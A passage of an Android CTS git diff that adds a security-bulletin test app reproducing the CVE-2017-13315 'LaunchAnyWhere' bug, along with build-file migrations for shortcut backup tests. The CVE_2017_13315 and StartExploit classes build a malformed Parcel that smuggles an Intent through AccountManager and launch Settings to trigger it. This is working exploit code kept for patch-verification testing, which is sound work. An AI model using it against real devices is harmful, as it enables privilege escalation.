+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java
new file mode 100644
index 0000000..dc15e7e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java
@@ -0,0 +1,69 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13315 implements IGenerateMalformedParcel {
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(3);
+
+        data.writeString("launchanywhere");
+        data.writeInt(4);
+        data.writeString("com.android.internal.telephony.DcParamObject");
+        data.writeInt(0);
+
+        data.writeInt(0);
+        data.writeInt(6);
+        data.writeInt(13);
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
new file mode 100644
index 0000000..bb473ab
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
@@ -0,0 +1,22 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.content.Intent;
+import android.os.Parcel;
+
+public interface IGenerateMalformedParcel { Parcel generate(Intent i); }
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java
new file mode 100644
index 0000000..2d439da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class StartExploit extends Activity {
+    protected static final String TAG = "LaunchAnyWhere";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        String exploitName = "com.android.security.cts.launchanywhere." +
+            getIntent().getStringExtra("cve");
+
+        String classAccessMessage = "Please ensure that the class is part of "
+            + "the com.android.security.cts.launchanywhere package";
+
+        try {
+            Authenticator.exploit =
+                (IGenerateMalformedParcel) Class.forName(exploitName)
+                    .newInstance();
+        } catch (ClassNotFoundException e) {
+            Log.e(TAG, "Unable to load the class " + exploitName + "! " +
+                    classAccessMessage);
+            e.printStackTrace();
+            return;
+        } catch (InstantiationException e) {
+            Log.e(TAG, "Unable to instantiate the exploit! " + exploitName);
+            e.printStackTrace();
+            return;
+        } catch (IllegalAccessException e) {
+            Log.e(TAG,
+                "Unable to access class " + exploitName + "! " +
+                classAccessMessage + " and is not private");
+            e.printStackTrace();
+            return;
+        }
+
+        Intent attacker = new Intent();
+        attacker.setComponent(new ComponentName(
+            "com.android.settings",
+            "com.android.settings.accounts.AddAccountSettings"));
+        attacker.setAction(Intent.ACTION_RUN);
+        attacker.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        String authTypes[] = {"com.launchanywhere"};
+        attacker.putExtra("account_types", authTypes);
+        startActivity(attacker);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/shortcuts/Android.mk b/hostsidetests/shortcuts/Android.mk
deleted file mode 100644
index 3d02f9c..0000000
--- a/hostsidetests/shortcuts/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/shortcuts/deviceside/Android.bp b/hostsidetests/shortcuts/deviceside/Android.bp
new file mode 100644
index 0000000..df7acb7
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/Android.bp
@@ -0,0 +1,9 @@
+java_defaults {
+    name: "hostsidetests-shortcuts-deviceside-defaults",
+    static_libs: [
+        "hostsidetests-shortcuts-deviceside-common",
+        "ShortcutManagerTestUtils",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/shortcuts/deviceside/Android.mk b/hostsidetests/shortcuts/deviceside/Android.mk
deleted file mode 100644
index 3d02f9c..0000000
--- a/hostsidetests/shortcuts/deviceside/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/shortcuts/deviceside/backup/Android.mk b/hostsidetests/shortcuts/deviceside/backup/Android.mk
deleted file mode 100644
index 3d02f9c..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
new file mode 100644
index 0000000..8a5bf93
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupLauncher1",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
deleted file mode 100644
index e3feb66..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
new file mode 100644
index 0000000..73b4f75
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupLauncher2",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
deleted file mode 100644
index c9850ef..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
new file mode 100644
index 0000000..3f2b17c
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupLauncher3",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
deleted file mode 100644
index 6edadb8..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher3
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
new file mode 100644
index 0000000..81276ff
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupLauncher4new",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsShortcutBackupPublisher4oldLib",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
deleted file mode 100644
index fedee32..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher4new
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../launcher4old/src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
new file mode 100644
index 0000000..89a4ab9
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupLauncher4old",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsShortcutBackupPublisher4oldLib",
+        "compatibility-device-util-axt",
+    ],
+}
+
+android_library {
+    name: "CtsShortcutBackupLauncher4oldLib",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+    srcs: ["src/**/*.java"],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
deleted file mode 100644
index 297e405..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher4old
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
new file mode 100644
index 0000000..f8db411
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher1",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
deleted file mode 100644
index 8bf3edf..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
new file mode 100644
index 0000000..1b4e96a
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher2",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
deleted file mode 100644
index e211529..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
new file mode 100644
index 0000000..f473520
--- /dev/null
